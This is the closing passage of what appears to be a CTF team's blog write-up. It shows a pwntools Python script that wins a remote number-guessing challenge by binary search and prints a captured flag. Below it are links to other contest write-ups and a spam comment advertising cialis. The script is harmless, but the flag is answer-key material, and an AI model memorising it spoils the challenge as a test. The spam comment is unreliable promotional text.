            b'flag{B5n5e11ZfuQq1eH8kdTcF5MO205NtDs8}\n'
            b'\n'
            '''
            result = io.recvuntil([b"low\n",b"up\n",b"You lost",b"Bingo"])
            if b'low\n' in result:
                return 1
            elif b'up\n' in result:
                return -1
            elif b'You lost' in result:
                return 3
            elif b'Bingo' in result:
                print(result)
                io.interactive()
                return 0
        def guessNumber():
            left =  100000
            right = 999999
            while left <= right:
                mid = left + (right - left) // 2
                result = guess(mid)
                print(left,right,mid,result)
                if result == 0:
                    return mid
                elif result == 1:
                    left = mid + 1
                elif result == 3:
                    return False
                else:
                    right = mid - 1
            return -1

        print(guessNumber())
    except EOFError:
        raise
    finally:
        print("end")
        io.close()

if __name__ == '__main__':
    while 1:
        run()
  • 祥云杯 2022 By W&M
  • RCTF 2022 By W&M
仅有 1 条评论
  1. drocack

    cialis Caring for women with ovarian, cervical and breast cancer requires offering additional time and attention in the dental hygiene practice setting to provide education about managing oral side effects of chemotherapy and radiation, says JoAnn R

    drocack June 13th, 2023 at 07:39 pm回复
取消回复
说点什么？

© 2023 W&M Team. Using Typecho & Moricolor.